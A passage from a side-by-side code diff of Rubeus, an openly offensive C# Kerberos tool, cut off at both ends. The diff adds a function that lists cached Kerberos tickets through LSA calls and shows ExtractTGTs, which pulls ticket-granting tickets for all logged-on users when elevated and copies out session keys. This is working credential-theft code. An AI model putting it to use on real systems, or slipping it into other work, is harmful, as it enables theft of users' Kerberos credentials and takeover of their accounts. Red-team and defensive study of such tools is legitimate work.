string targetNameStr2 = Marshal.PtrToStringUni(targetNameStruct.Names[1].Buffer, targetNameStruct.Names[1].Length / 2).Trim(); string targetNameStr2 = Marshal.PtrToStringUni(targetNameStruct.Names[1].Buffer, targetNameStruct.Names[1].Length / 2).Trim();
targetName = String.Format("{0}/{1}", targetNameStr1, targetNameStr2); targetName = String.Format("{0}/{1}", targetNameStr1, targetNameStr2);
} }
else if (targetNameStruct.NameCount == 3)
{
string targetNameStr1 = Marshal.PtrToStringUni(targetNameStruct.Names[0].Buffer, targetNameStruct.Names[0].Length / 2).Trim();
string targetNameStr2 = Marshal.PtrToStringUni(targetNameStruct.Names[1].Buffer, targetNameStruct.Names[1].Length / 2).Trim();
string targetNameStr3 = Marshal.PtrToStringUni(targetNameStruct.Names[2].Buffer, targetNameStruct.Names[2].Length / 2).Trim();
targetName = String.Format("{0}/{1}/{2}", targetNameStr1, targetNameStr2, targetNameStr3);
}
else { } else { }
} }
@ -1011,6 +1234,96 @@ namespace Rubeus
Console.WriteLine("[*] Extracted {0} total tickets\r\n", extractedTicketCount); Console.WriteLine("[*] Extracted {0} total tickets\r\n", extractedTicketCount);
} }
public static void ListKerberosTicketsCurrentUser()
{
// lists Kerberos tickets for the current user
// first uses LsaConnectUntrusted to connect and LsaCallAuthenticationPackage w/ a KerbQueryTicketCacheMessage message type
// to enumerate all cached tickets
// adapted partially from Vincent LE TOUX' work
// https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2939-L2950
// and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/
// also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1
Console.WriteLine("\r\n\r\n[*] Action: List Kerberos Tickets (Current User)\r\n");
string name = "kerberos";
Interop.LSA_STRING_IN LSAString;
LSAString.Length = (ushort)name.Length;
LSAString.MaximumLength = (ushort)(name.Length + 1);
LSAString.Buffer = name;
IntPtr ticketsPointer = IntPtr.Zero;
int authPack;
int returnBufferLength = 0;
int protocalStatus = 0;
IntPtr lsaHandle;
int retCode;
// If we want to look at tickets from a session other than our own
// then we need to use LsaRegisterLogonProcess instead of LsaConnectUntrusted
retCode = Interop.LsaConnectUntrusted(out lsaHandle);
// obtains the unique identifier for the kerberos authentication package.
retCode = Interop.LsaLookupAuthenticationPackage(lsaHandle, ref LSAString, out authPack);
Interop.KERB_QUERY_TKT_CACHE_REQUEST cacheQuery = new Interop.KERB_QUERY_TKT_CACHE_REQUEST();
Interop.KERB_QUERY_TKT_CACHE_RESPONSE cacheTickets = new Interop.KERB_QUERY_TKT_CACHE_RESPONSE();
Interop.KERB_TICKET_CACHE_INFO_EX ticket;
// input object for querying the ticket cache (https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ns-ntsecapi-_kerb_query_tkt_cache_request)
cacheQuery.LogonId = new Interop.LUID();
cacheQuery.MessageType = Interop.KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheExMessage;
// query LSA, specifying we want the ticket cache
IntPtr cacheQueryPtr = Marshal.AllocHGlobal(Marshal.SizeOf(cacheQuery));
Marshal.StructureToPtr(cacheQuery, cacheQueryPtr, false);
retCode = Interop.LsaCallAuthenticationPackage(lsaHandle, authPack, cacheQueryPtr, Marshal.SizeOf(cacheQuery), out ticketsPointer, out returnBufferLength, out protocalStatus);
// parse the returned pointer into our initial KERB_QUERY_TKT_CACHE_RESPONSE structure
cacheTickets = (Interop.KERB_QUERY_TKT_CACHE_RESPONSE)Marshal.PtrToStructure((System.IntPtr)ticketsPointer, typeof(Interop.KERB_QUERY_TKT_CACHE_RESPONSE));
int count = cacheTickets.CountOfTickets;
// get the size of the structures we're iterating over
Int32 dataSize = Marshal.SizeOf(typeof(Interop.KERB_TICKET_CACHE_INFO_EX));
for (int i = 0; i < count; i++)
{
// iterate through the result structures
IntPtr currTicketPtr = (IntPtr)(long)((ticketsPointer.ToInt64() + (int)(8 + i * dataSize)));
// parse the new ptr to the appropriate structure
ticket = (Interop.KERB_TICKET_CACHE_INFO_EX)Marshal.PtrToStructure(currTicketPtr, typeof(Interop.KERB_TICKET_CACHE_INFO_EX));
DateTime startTime = DateTime.FromFileTime(ticket.StartTime);
DateTime endTime = DateTime.FromFileTime(ticket.EndTime);
DateTime renewTime = DateTime.FromFileTime(ticket.RenewTime);
string ticketFlags = ((Interop.TicketFlags)ticket.TicketFlags).ToString();
// extract the server name/realm and client name/realm
string serverName = Marshal.PtrToStringUni(ticket.ServerName.Buffer, ticket.ServerName.Length / 2);
string serverRealm = Marshal.PtrToStringUni(ticket.ServerRealm.Buffer, ticket.ServerRealm.Length / 2);
string clientName = Marshal.PtrToStringUni(ticket.ClientName.Buffer, ticket.ClientName.Length / 2);
string clientRealm = Marshal.PtrToStringUni(ticket.ClientRealm.Buffer, ticket.ClientRealm.Length / 2);
Console.WriteLine(" [{0:x}] - 0x{1:x} - {2}", i, (int)ticket.EncryptionType, (Interop.KERB_ETYPE)ticket.EncryptionType);
Console.WriteLine(" Start/End/MaxRenew: {0} ; {1} ; {2}", startTime, endTime, renewTime);
Console.WriteLine(" Server Name : {0} @ {1}", serverName, serverRealm);
Console.WriteLine(" Client Name : {0} @ {1}", clientName, clientRealm);
Console.WriteLine(" Flags : {0} ({1:x})", ticketFlags, ticket.TicketFlags);
Console.WriteLine();
}
// clean up
Interop.LsaFreeReturnBuffer(ticketsPointer);
Marshal.FreeHGlobal(cacheQueryPtr);
// disconnect from LSA
Interop.LsaDeregisterLogonProcess(lsaHandle);
}
public static List<KRB_CRED> ExtractTGTs(uint targetLuid = 0, bool includeComputerAccounts = false) public static List<KRB_CRED> ExtractTGTs(uint targetLuid = 0, bool includeComputerAccounts = false)
{ {
// extracts Kerberos TGTs for all users on the system (assuming elevation) or for a specific logon ID (luid) // extracts Kerberos TGTs for all users on the system (assuming elevation) or for a specific logon ID (luid)
@ -1443,65 +1756,6 @@ namespace Rubeus
byte[] sessionKey = new byte[sessionKeyLength]; byte[] sessionKey = new byte[sessionKeyLength];
Marshal.Copy(response.Ticket.SessionKey.Value, sessionKey, 0, sessionKeyLength); Marshal.Copy(response.Ticket.SessionKey.Value, sessionKey, 0, sessionKeyLength);
//string serviceName = "";
//if (response.Ticket.ServiceName != IntPtr.Zero)
//{
// Interop.KERB_EXTERNAL_NAME serviceNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ServiceName, typeof(Interop.KERB_EXTERNAL_NAME));
// if (serviceNameStruct.NameCount == 1)
// {
// string serviceNameStr1 = Marshal.PtrToStringUni(serviceNameStruct.Names[0].Buffer, serviceNameStruct.Names[0].Length / 2).Trim();
// serviceName = serviceNameStr1;
// }
// else if (serviceNameStruct.NameCount == 2)
// {
// string serviceNameStr1 = Marshal.PtrToStringUni(serviceNameStruct.Names[0].Buffer, serviceNameStruct.Names[0].Length / 2).Trim();
// string serviceNameStr2 = Marshal.PtrToStringUni(serviceNameStruct.Names[1].Buffer, serviceNameStruct.Names[1].Length / 2).Trim();
// serviceName = String.Format("{0}/{1}", serviceNameStr1, serviceNameStr2);
// }
// else { }
//}
//string targetName = "";
//if (response.Ticket.TargetName != IntPtr.Zero)
//{
// Interop.KERB_EXTERNAL_NAME targetNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.TargetName, typeof(Interop.KERB_EXTERNAL_NAME));
// if (targetNameStruct.NameCount == 1)
// {
// string targetNameStr1 = Marshal.PtrToStringUni(targetNameStruct.Names[0].Buffer, targetNameStruct.Names[0].Length / 2).Trim();
// targetName = targetNameStr1;
// }
// else if (targetNameStruct.NameCount == 2)
// {
// string targetNameStr1 = Marshal.PtrToStringUni(targetNameStruct.Names[0].Buffer, targetNameStruct.Names[0].Length / 2).Trim();
// string targetNameStr2 = Marshal.PtrToStringUni(targetNameStruct.Names[1].Buffer, targetNameStruct.Names[1].Length / 2).Trim();
// targetName = String.Format("{0}/{1}", targetNameStr1, targetNameStr2);
// }
// else { }
//}
//string clientName = "";
//if (response.Ticket.ClientName != IntPtr.Zero)
//{
// Interop.KERB_EXTERNAL_NAME clientNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ClientName, typeof(Interop.KERB_EXTERNAL_NAME));
// if (clientNameStruct.NameCount == 1)
// {
// string clientNameStr1 = Marshal.PtrToStringUni(clientNameStruct.Names[0].Buffer, clientNameStruct.Names[0].Length / 2).Trim();
// clientName = clientNameStr1;
// }
// else if (clientNameStruct.NameCount == 2)
// {
// string clientNameStr1 = Marshal.PtrToStringUni(clientNameStruct.Names[0].Buffer, clientNameStruct.Names[0].Length / 2).Trim();
// string clientNameStr2 = Marshal.PtrToStringUni(clientNameStruct.Names[1].Buffer, clientNameStruct.Names[1].Length / 2).Trim();
// clientName = String.Format("{0}@{1}", clientNameStr1, clientNameStr2);
// }
// else { }
//}
//Console.WriteLine("ServiceName: {0}", serviceName);
//Console.WriteLine("TargetName: {0}", targetName);
//Console.WriteLine("ClientName: {0}", clientName);
returnedSessionKey = sessionKey; returnedSessionKey = sessionKey;
} }
else else